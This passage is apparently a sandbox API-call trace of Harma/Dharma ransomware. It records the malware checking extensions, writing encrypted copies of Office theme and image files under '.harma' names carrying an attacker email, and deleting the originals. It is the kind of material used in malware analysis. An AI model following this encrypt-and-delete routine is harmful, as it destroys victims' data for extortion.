(lpString=".xlsx") returned 5 [0056.007] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0056.007] lstrlenW (lpString=".ppt") returned 4 [0056.007] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0056.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0056.007] lstrlenW (lpString=".zip") returned 4 [0056.007] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0056.007] lstrlenW (lpString=".rar") returned 4 [0056.007] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0056.007] lstrlenW (lpString=".bz2") returned 4 [0056.007] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0056.007] lstrlenW (lpString=".7z") returned 3 [0056.008] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0056.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0056.008] lstrlenW (lpString=".dbf") returned 4 [0056.008] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0056.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0056.008] lstrlenW (lpString=".1cd") returned 4 [0056.008] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0056.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0056.008] lstrlenW (lpString=".jpg") returned 4 [0056.008] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0056.008] lstrcmpiW (lpString1=".jpg", lpString2=".harma") returned 1 [0056.008] lstrlenW (lpString="HandPrints.jpg") returned 14 [0056.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0056.008] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=4222) returned 1 [0056.009] CloseHandle (hObject=0x1ec) returned 1 [0056.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0056.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0056.009] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0056.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0056.009] lstrlenW (lpString=".doc") returned 4 [0056.009] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0056.009] lstrlenW (lpString=".docx") returned 5 [0056.009] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0056.009] lstrlenW (lpString=".pdf") returned 4 [0056.009] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0056.009] lstrlenW (lpString=".xls") returned 4 [0056.009] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0056.009] lstrlenW (lpString=".xlsx") returned 5 [0056.009] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0056.009] lstrlenW (lpString=".ppt") returned 4 [0056.010] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0056.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0056.010] lstrlenW (lpString=".zip") returned 4 [0056.010] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0056.010] lstrlenW (lpString=".rar") returned 4 [0056.010] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0056.010] lstrlenW (lpString=".bz2") returned 4 [0056.010] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0056.010] lstrlenW (lpString=".7z") returned 3 [0056.010] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0056.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0056.010] lstrlenW (lpString=".dbf") returned 4 [0056.010] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0057.374] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=2848) returned 1 [0057.374] CloseHandle (hObject=0x200) returned 1 [0057.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 0x20 [0057.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0057.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0057.375] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.375] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0057.375] GetLastError () returned 0x0 [0057.375] ReadFile (in: hFile=0x200, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0xb20, lpOverlapped=0x0) returned 1 [0057.379] WriteFile (in: hFile=0x208, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xb30, lpOverlapped=0x0) returned 1 [0057.380] ReadFile (in: hFile=0x200, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.380] WriteFile (in: hFile=0x208, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0057.380] SetEndOfFile (hFile=0x208) returned 1 [0057.380] CloseHandle (hObject=0x208) returned 1 [0057.381] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.381] SetEndOfFile (hFile=0x200) returned 1 [0057.382] CloseHandle (hObject=0x200) returned 1 [0057.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0057.382] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 1 [0057.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0057.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0057.383] lstrlenW (lpString=".doc") returned 4 [0057.383] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.383] lstrlenW (lpString=".docx") returned 5 [0057.383] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0057.383] lstrlenW (lpString=".pdf") returned 4 [0057.383] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.383] lstrlenW (lpString=".xls") returned 4 [0057.383] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.383] lstrlenW (lpString=".xlsx") returned 5 [0057.383] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0057.383] lstrlenW (lpString=".ppt") returned 4 [0057.383] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0057.383] lstrlenW (lpString=".zip") returned 4 [0057.383] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.383] lstrlenW (lpString=".rar") returned 4 [0057.383] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.383] lstrlenW (lpString=".bz2") returned 4 [0057.383] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.383] lstrlenW (lpString=".7z") returned 3 [0057.383] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0057.383] lstrlenW (lpString=".dbf") returned 4 [0057.384] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0057.384] lstrlenW (lpString=".1cd") returned 4 [0057.384] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0057.384] lstrlenW (lpString=".jpg") returned 4 [0057.384] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0057.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0057.384] lstrlenW (lpString=".doc") returned 4 [0057.384] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.384] lstrlenW (lpString=".docx") returned 5 [0057.384] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0057.384] lstrlenW (lpString=".pdf") returned 4 [0057.384] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.384] lstrlenW (lpString=".xls") returned 4 [0057.384] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.384] lstrlenW (lpString=".xlsx") returned 5 [0057.384] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0057.384] lstrlenW (lpString=".ppt") returned 4 [0057.384] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0057.384] lstrlenW (lpString=".zip") returned 4 [0057.385] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.385] lstrlenW (lpString=".rar") returned 4 [0057.385] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.385] lstrlenW (lpString=".bz2") returned 4 [0057.385] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.385] lstrlenW (lpString=".7z") returned 3 [0057.385] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0057.385] lstrlenW (lpString=".dbf") returned 4 [0057.385] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0057.385] lstrlenW (lpString=".1cd") returned 4 [0057.385] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0057.385] lstrlenW (lpString=".jpg") returned 4 [0057.385] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.385] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0057.385] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0057.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0057.387] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=2181) returned 1 [0057.387] CloseHandle (hObject=0x200) returned 1 [0057.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 0x20 [0057.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0057.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0057.387] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.387] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0057.390] GetLastError () returned 0x0 [0057.390] ReadFile (in: hFile=0x200, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x885, lpOverlapped=0x0) returned 1 [0057.392] WriteFile (in: hFile=0x208, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x890, lpOverlapped=0x0) returned 1 [0057.394] ReadFile (in: hFile=0x200, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.394] WriteFile (in: hFile=0x208, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0057.394] SetEndOfFile (hFile=0x208) returned 1 [0057.395] CloseHandle (hObject=0x208) returned 1 [0057.395] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.395] SetEndOfFile (hFile=0x200) returned 1 [0057.396] CloseHandle (hObject=0x200) returned 1 [0057.396] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0057.396] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 1 [0057.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0057.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0057.397] lstrlenW (lpString=".doc") returned 4 [0057.397] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.397] lstrlenW (lpString=".docx") returned 5 [0057.397] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0057.397] lstrlenW (lpString=".pdf") returned 4 [0057.397] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.397] lstrlenW (lpString=".xls") returned 4 [0057.397] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.397] lstrlenW (lpString=".xlsx") returned 5 [0057.397] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0057.397] lstrlenW (lpString=".ppt") returned 4 [0057.397] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0057.397] lstrlenW (lpString=".zip") returned 4 [0057.398] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.398] lstrlenW (lpString=".rar") returned 4 [0057.398] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.398] lstrlenW (lpString=".bz2") returned 4 [0057.398] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.398] lstrlenW (lpString=".7z") returned 3 [0057.398] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0057.398] lstrlenW (lpString=".dbf") returned 4 [0057.398] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0057.398] lstrlenW (lpString=".1cd") returned 4 [0057.398] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0057.398] lstrlenW (lpString=".jpg") returned 4 [0057.398] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0057.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0057.399] lstrlenW (lpString=".doc") returned 4 [0057.399] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.399] lstrlenW (lpString=".docx") returned 5 [0057.399] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0057.399] lstrlenW (lpString=".pdf") returned 4 [0057.399] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.399] lstrlenW (lpString=".xls") returned 4 [0057.399] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.399] lstrlenW (lpString=".xlsx") returned 5 [0057.399] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0057.399] lstrlenW (lpString=".ppt") returned 4 [0057.399] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0057.399] lstrlenW (lpString=".zip") returned 4 [0057.399] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.399] lstrlenW (lpString=".rar") returned 4 [0057.399] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.399] lstrlenW (lpString=".bz2") returned 4 [0057.399] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.399] lstrlenW (lpString=".7z") returned 3 [0057.399] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0057.399] lstrlenW (lpString=".dbf") returned 4 [0057.399] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0057.400] lstrlenW (lpString=".1cd") returned 4 [0057.400] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0057.400] lstrlenW (lpString=".jpg") returned 4 [0057.400] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.400] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0057.400] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0057.400] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0057.402] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=20627) returned 1 [0057.402] CloseHandle (hObject=0x200) returned 1 [0057.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 0x20 [0057.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0057.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0057.402] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.402] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0057.403] GetLastError () returned 0x0 [0057.403] ReadFile (in: hFile=0x200, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x5093, lpOverlapped=0x0) returned 1 [0057.406] WriteFile (in: hFile=0x208, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x50a0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x50a0, lpOverlapped=0x0) returned 1 [0057.408] ReadFile (in: hFile=0x200, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.408] WriteFile (in: hFile=0x208, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.408] SetEndOfFile (hFile=0x208) returned 1 [0057.409] CloseHandle (hObject=0x208) returned 1 [0057.409] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.409] SetEndOfFile (hFile=0x200) returned 1 [0057.410] CloseHandle (hObject=0x200) returned 1 [0057.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0057.410] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 1 [0057.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0057.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0057.411] lstrlenW (lpString=".doc") returned 4 [0057.411] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.411] lstrlenW (lpString=".docx") returned 5 [0057.411] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.411] lstrlenW (lpString=".pdf") returned 4 [0057.411] 